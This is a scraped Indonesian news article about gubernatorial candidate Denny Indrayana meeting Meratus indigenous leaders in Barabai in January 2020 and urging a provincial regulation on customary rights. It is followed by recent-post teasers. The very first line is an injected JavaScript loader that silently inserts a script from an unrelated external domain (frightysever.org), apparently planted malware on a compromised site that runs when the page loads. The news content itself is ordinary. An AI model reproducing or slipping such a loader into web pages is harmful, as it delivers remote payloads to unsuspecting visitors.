(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Bertemu 52 Balai Adat Pegunungan Meratus, Denny Indrayana Sebut Kalsel Kalah Langkah


KANALKALIMANTAN.COM, BARABAI– Berbagai konsolidasi terus dilakukan kandidat calon gubernur Kalsel Denny Indrayana. Kali ini, mantan Wamenkumham era Presiden SBY tersebut bertemu perwakilan 52 balai adat pegunungan Meratus, dalam acara” Silaturahmi dan Diskusi Bersama Cagub Kalsel dan Cabup-Cawabup HST” di hotel Fusfa, Barabai, Jumat (17/1/2020) malam pukul 20.00 Wita.

Pada pertemuan yang dihadiri tokoh adat, aktivis, dan relawan, Haji Denny– sapaan Denny Indrayana, mengatakan perlunya kebijakan aksi afirmasi oleh pemerintah untuk eksistensi masyarakat adat. Langkah aksi afirmatif atau yang juga dikenal sebagai diskriminasi positif tersebut, terutama untuk melindungi hak-hak warga adat. “Tanpa affirmative action, akan ada persaingan tidak sehat antara masyarakat adat dengan kelompok lain yang lebih memiliki akses atas pembangunan,” katanya.

Haji Denny mengatakan, saat ini masyarakat adat masih memerlukan hak-hak dasar terkait kesehatan, pendidikan, lapangan kerja, dan juga hak atas tanah dan lainnya. Di sinilah menurut pakar hukum tata negara ini, pemerintah perlu hadir. “Pada level pusat kita perlu UU, untuk Provinsi perlu adanya Perda soal adat. Nah, kita di Kalsel saat ini belum punya. Jadi masih kalah langkah dengan Kaltim yang sudah memiliki perda soal adat,” jelasnya.

Terkait isu lingkungan yang kerab berhadapan dengan masyarakat adat, seperti save Meratus, masifnya kerusakan lingkungan akibat industri, bisa diselesiakan jika Pemprov Kalsel punya visi yang jelas. “Maka itu, ketika pusat membuat kebijakan menghilangkan AMDAL untuk mendorong investasi, itu pendekatan yang keliru,” tegas Haji Denny yang sempat raih penghargaan Bintang Mahaputra 2014 ini.

Baginya, hal tersebut berpangkal dari hadirnya kepemimpinan yang amanah. “Sebab jika kebijakan sejak awal didasarkan pada politik transaksional, money politic, rakyatlah yang justru menjadi korban,” tegasnya.

Sementara itu, Robbi Prasetyo dari Aliansi Masyarakat Adat Nasional (AMAN) HST, bangga dengan komitmen Haji Denny dalam memajukan dan melundungi hak masyarakat adat. “Sejak awal kami telah berkomitmen menghadirkan perubahan yang lebih baik. Dan kami bangga memiliki kandidat peduli dengan masyarakat adat terutama untuk menjaga kelestarian Meratus,” ungkapnya. (Kanalkalimantan.com/Rilis)

 

Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.